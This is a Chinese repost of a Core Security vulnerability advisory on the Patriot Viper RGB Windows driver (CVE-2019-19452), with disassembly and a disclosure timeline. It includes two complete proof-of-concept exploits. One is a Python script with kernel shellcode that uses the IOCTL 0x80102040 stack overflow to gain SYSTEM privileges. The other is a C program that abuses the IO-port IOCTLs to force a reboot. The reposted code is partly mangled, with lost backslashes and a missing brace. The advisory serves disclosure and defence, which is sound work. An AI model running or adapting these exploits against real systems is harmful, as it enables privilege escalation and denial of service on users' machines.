2020年10月27日12:05:50评论112 views字数 8256阅读27分31秒阅读模式

对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

0x01 漏洞信息

漏洞类型：基于堆栈的缓冲区溢出[ CWE-121 ]，暴露的IOCTL（访问控制不足）[ CWE-782 ] 影响：代码执行允许特权提升远程可利用：否本地可利用：是 CVE名称：CVE-2019-19452

0x02 漏洞描述

Patriot Memory是一家总部位于美国的技术公司，设计和制造内存模块，闪存驱动器，移动配件和游戏设备。

在处理IoControlCode 0x80102040时，在Viper驱动程序RGB 1.1版中发现缓冲区溢出漏洞。本地攻击者可以利用此漏洞，因此获得NT AUTHORITY SYSTEM特权。

IOCTL代码0x80102050和0x80102054允许具有低特权的用户从IO端口读取或向其写入1/2/4字节。可以通过多种方式来利用它来最终以提升的特权运行代码。

0x03 安全建议

1.1版和所有以前的版本在每个受支持的Windows版本中都容易受到攻击（安装程序：Patriot Viper RGB v1.1.exe）

解决方案和解决方法：

Patriot Memory已发布版本MSIO_191231_v1.2，该版本已修复报告中的漏洞。

这些漏洞是由Core Security Exploit团队的Ricardo Narvaja和Lucas Dominikow发现的。

0x04 漏洞分析和利用验证

基于堆栈的缓冲区溢出特权提升

CVE-2019-19452

对版本1.0的漏洞的利用验证发现了溢出漏洞的存在，该溢出可以覆盖ZwOpenSection和ZwMapViewOfSection的参数。

1.0版和1.1版之间的二进制代码差异表明，尽管对这些函数的参数进行了检查，但先前的溢出漏洞仍存在未进行修补，而CoreLabs在随后研究中能够控制其大小。

可以在下面找到有关版本1.0的信息：

https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md

https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845

在版本1.1中，控制器分析IoControlCodes并到达此位置，将IoControlCode与0x80102040进行比较。

.text:0000000000001518 lea rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL"

.text:000000000000151F call DbgPrint

.text:0000000000001524 mov r11d, [rbp+18h]

.text:0000000000001528 cmp r11d, 80102040h

.text:000000000000152F jz loc_16D4

如果比较结果正确，则会调用由CoreLabs控制的MaxCount（要复制的大小）和SRC（源缓冲区）的memmove，没有进行验证以确保数据适合目标缓冲区，从而导致堆栈溢出。

.text:00000000000016E8 lea rcx, [rsp+78h+Src] ; Dst

.text:00000000000016ED mov r8, rbx ; MaxCount

.text:00000000000016F0 mov rdx, rsi ; Src

.text:00000000000016F3 call memmove

由于驱动程序尚未使用安全cookie保护函数的堆栈，因此可以成功执行任意代码。

可以通过调用CreateFileA来获取驱动程序的句柄，然后通过发送受控数据来调用DeviceIoControl来实现此功能。下面将使用针对Windows 7 SP1 x64设计PoC，演示针对x64版本驱动程序的代码执行。该代码将需要改编为其他Windows版本。

有效利用漏洞取决于目标设备和体系结构的细节。例如，在Windows 10中，有SMEP / SMAP和其他特定的缓解措施。

下面看到的PoC漏洞利用演示了此过程，该过程重用了连接套接字以生成shell并在系统上执行任意命令。

#!/usr/bin/env python

import struct, sys, os

from ctypes import *

from ctypes.wintypes import *

import os

import struct

import sys

from ctypes import wintypes

GENERIC_READ = 0x80000000

GENERIC_WRITE = 0x40000000

GENERIC_EXECUTE = 0x20000000

GENERIC_ALL = 0x10000000

FILE_SHARE_DELETE = 0x00000004

FILE_SHARE_READ = 0x00000001

FILE_SHARE_WRITE = 0x00000002

CREATE_NEW = 1

CREATE_ALWAYS = 2

OPEN_EXISTING = 3

OPEN_ALWAYS = 4

TRUNCATE_EXISTING = 5

HEAP_ZERO_MEMORY=0x00000008

MEM_COMMIT = 0x00001000

MEM_RESERVE = 0x00002000

PAGE_EXECUTE_READWRITE = 0x00000040

ntdll = windll.ntdll

kernel32 = windll.kernel32

ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong]

kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p, c_ulonglong, POINTER(c_ulonglong)]

GetProcAddress = kernel32.GetProcAddress

GetProcAddress.restype = c_ulonglong

GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR]

GetModuleHandleA = kernel32.GetModuleHandleA

GetModuleHandleA.restype = wintypes.HMODULE

GetModuleHandleA.argtypes = [wintypes.LPCSTR]

k32Dll=GetModuleHandleA("kernel32.dll")

print "0x%X"%(k32Dll)

if (not k32Dll) :

print ("[-] Failed To get module handle kernel32.dlln")

WinExec=GetProcAddress(k32Dll, "WinExec")

print "0x%X"%(WinExec)

if (not WinExec) :

print ("[-] Failed To get WinExec address.dlln")

print "WinExec = 0x%x"%WinExec

raw_input()

buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40))

shellcode="x90x90x65x48x8Bx14x25x88x01x00x00x4Cx8Bx42x70x4Dx8Bx88x88x01x00x00x49x8Bx09x48x8Bx51xF8x48x83xFAx04x74x05x48x8Bx09xEBxF1x48x8Bx81x80x00x00x00x24xF0x49x89x80x08x02x00x00x48x31xc0x48x81xc4x28x01x00x00xc3"

#STARTS HERE

written = c_ulonglong(0)

dwReturn = c_ulong()

hDevice = kernel32.CreateFileA(r"\.Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None )

print "[+] buffer address: 0x%X" % buf

data= "xebx4e" + 0x46 * "A" + struct.pack("<Q",int(buf)) + shellcode

print "%r"%data

kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data)))

bytes_returned = wintypes.DWORD(0)

h=wintypes.HANDLE(hDevice)

b=wintypes.LPVOID(buf)

#TRIGGER

dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None)

os.system("calc.exe")

kernel32.CloseHandle(hDevice)

用python 64位执行该代码后，将显示具有NT AUTHORITY SYSTEM特权的calc。

端口映射的I / O访问

尽管当前没有为该漏洞分配CVE，但是如果MITER分配了其他CVE名称，则将使用其他信息更新本文档。

我们可以使用IOCTL代码0x80102050读取IO端口。

要指定我们要读取的IO端口以及要读取的字节大小，必须发送一个精心制作的缓冲区，其中前两个字节是IO端口，第六个是要读取的字节数1、2或4。

此外，可以使用IOCTL代码0x80102054对IO端口进行写入。另外，必须发送一个精心制作的缓冲区。此缓冲区与读取的缓冲区非常相似。主要区别在于我们还需要指定要发送到IO端口的数据。该数据可以为1/2/4字节，并从IO端口（3字节起）旁边开始，在这种情况下，第六个字节将确定要写入的字节数。

通过读取/写入IO端口我们可以实现利用。例如，以下PoC代码将通过重新引导计算机来导致拒绝服。

#include

#define IOCTL_READ_IOPORT 0x80102050

#define IOCTL_WRITE_IOPORT 0x80102054

HANDLE GetDriverHandle(LPCSTR driverName)

{

HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

if (hDriver == INVALID_HANDLE_VALUE)

{

printf("Failed GetDriverHandle.nError code:%dn", GetLastError());

exit(1);

}

return hDriver;

}

BYTE ReadPort(HANDLE hDriver, unsigned int port)

{

DWORD inBufferSize = 10;

DWORD outBufferSize = 1;

DWORD bytesReturned = 0;

LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (inBuffer == NULL)

{

printf("Failed to allocate inBuffer %dn", GetLastError());

return 1;

}

if (outBuffer == NULL)

{

printf("Failed to allocate outBuffer %dn", GetLastError());

return 1;

}

memcpy((char*)inBuffer, &port, 2);

memset((char*)inBuffer + 6, 0x1, 1);

BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);

if (retDevIoControl == 0)

{

printf("Failed DeviceIoControlnError code:%d", GetLastError());

return 1;

}

return (BYTE)(*((char*)outBuffer));

}

void WritePort(HANDLE hDriver, unsigned int port, BYTE data)

{

DWORD inBufferSize = 10;

DWORD outBufferSize = 1;

DWORD bytesReturned = 0;

LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

if (inBuffer == NULL)

{

printf("Failed to allocate inBuffer %dn", GetLastError());

exit(1);

}

if (outBuffer == NULL)

{

printf("Failed to allocate outBuffer %dn", GetLastError());

exit(1);

}

memcpy((char*)inBuffer, &port, 2);

memcpy((char*)inBuffer + 2, &data, 1);

memset((char*)inBuffer + 6, 0x1, 1);

BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0);

if (retDevIoControl == 0)

{

printf("Failed DeviceIoControlnError code:%d", GetLastError());

exit(1);

}

int main(int argc, char** argv)

{

LPCSTR driverName = (LPCSTR)"\\.\Msio";

HANDLE hDriver = GetDriverHandle(driverName);

BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6;

WritePort(hDriver, 0xcf9, portCF9 | 2);

Sleep(50);

WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot

CloseHandle(hDriver);

return 0;

}

0x05 漏洞披露时间表

2019年11月6日– CoreLabs通过[email protected]向供应商发出了联系电子邮件，要求披露。

2019年11月26日–通过MITER网站申请CVE，收到申请确认。

2019年11月29日– MITER将CVE-2019-19452分配给第一个漏洞。

2019年12月5日–称为Patriot Memory HQ（510-979-1021），已通过自动电话系统转发给技术支持，还留下了留言信息和电子邮件。

2019年12月5日–收到来自卖方的电子邮件，要求进一步的信息。回复了非常基本的描述，并要求在发送POC之前确认此电子邮件是公司的首选公开方法。

2019年12月17日–收到来自供应商Patriot R＆D的电子邮件，其中确认了提交方式并将其命名为主要联系人，回复了PoC。

2020年1月1日–收到来自供应商的电子邮件，其中附有建议的修复程序。

2020年1月8日–确认补丁程序正确。与供应商确认补丁程序有效，并询问他们何时发布补丁程序。

2020年1月9日–供应商声明该补丁最多需要两周才能发布（2020年1月23日）。

2020年1月16日–通过电子邮件发送给供应商，以确认23日的一切按计划进行。说明我们打算在24日发布。

2020年1月16日–发现第二个未通过补丁解决的漏洞。新的POC发送给爱国者。

2020年1月20日–收到来自供应商的电子邮件，指出他认为发现第二个漏洞可能会延迟发布有问题的补丁。

2020年2月7日– Tweet由第三方发布在Twitter上，其中包含有关Viper RGB漏洞的信息。CoreLabs验证了推文中的信息是否正确，数据现在处于公开状态。

2020年2月8日–向MITRE请求第二个漏洞的CVE身份。

2020年2月8日–向Patriot请求第二个漏洞的补丁程序状态，并告知他们该信息现已在Twitter上公开。

2020年2月10日–Patriot回应说，第二个漏洞目前没有补丁。

2020年2月12日–告知Patriot，随着有关漏洞的信息公开，CoreLabs计划在2020年2月17日发布，除非在2020年2月14日之前收到进一步的沟通。

2020年2月17日–已发布咨询CORE-2020-0001。

参考信息：

https://www.viper.patriotmemory.com/viperrgbdramsoftware

https://www.coresecurity.com/contact

参考及来源：https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238

对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

本文始发于微信公众号（嘶吼专业版）：对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

左青龙
微信扫一扫

右白虎
微信扫一扫

对 Viper RGB 驱动多个缓冲区溢出漏洞的分析

0x01 漏洞信息

0x02 漏洞描述

0x03 安全建议

0x04 漏洞分析和利用验证

0x05 漏洞披露时间表

ctf工控流量题

AVSS 2024 Writeup Polaris战队

2024警察大学第七届精武杯电子数据取证技能比武暨信息安全协会社团邀请赛参考wp

APP动态分析系列 - Frida的进阶用法（下）

什么？这个 App 抓不到包！

国科ctf python脚本 ctf常用python库

一文入门AndroidCTF：以攻防世界#基础Android为例

记某APP登录逆向解密过程

BUUCTF--rsa

Omron Fins

发表评论

在线咨询

微信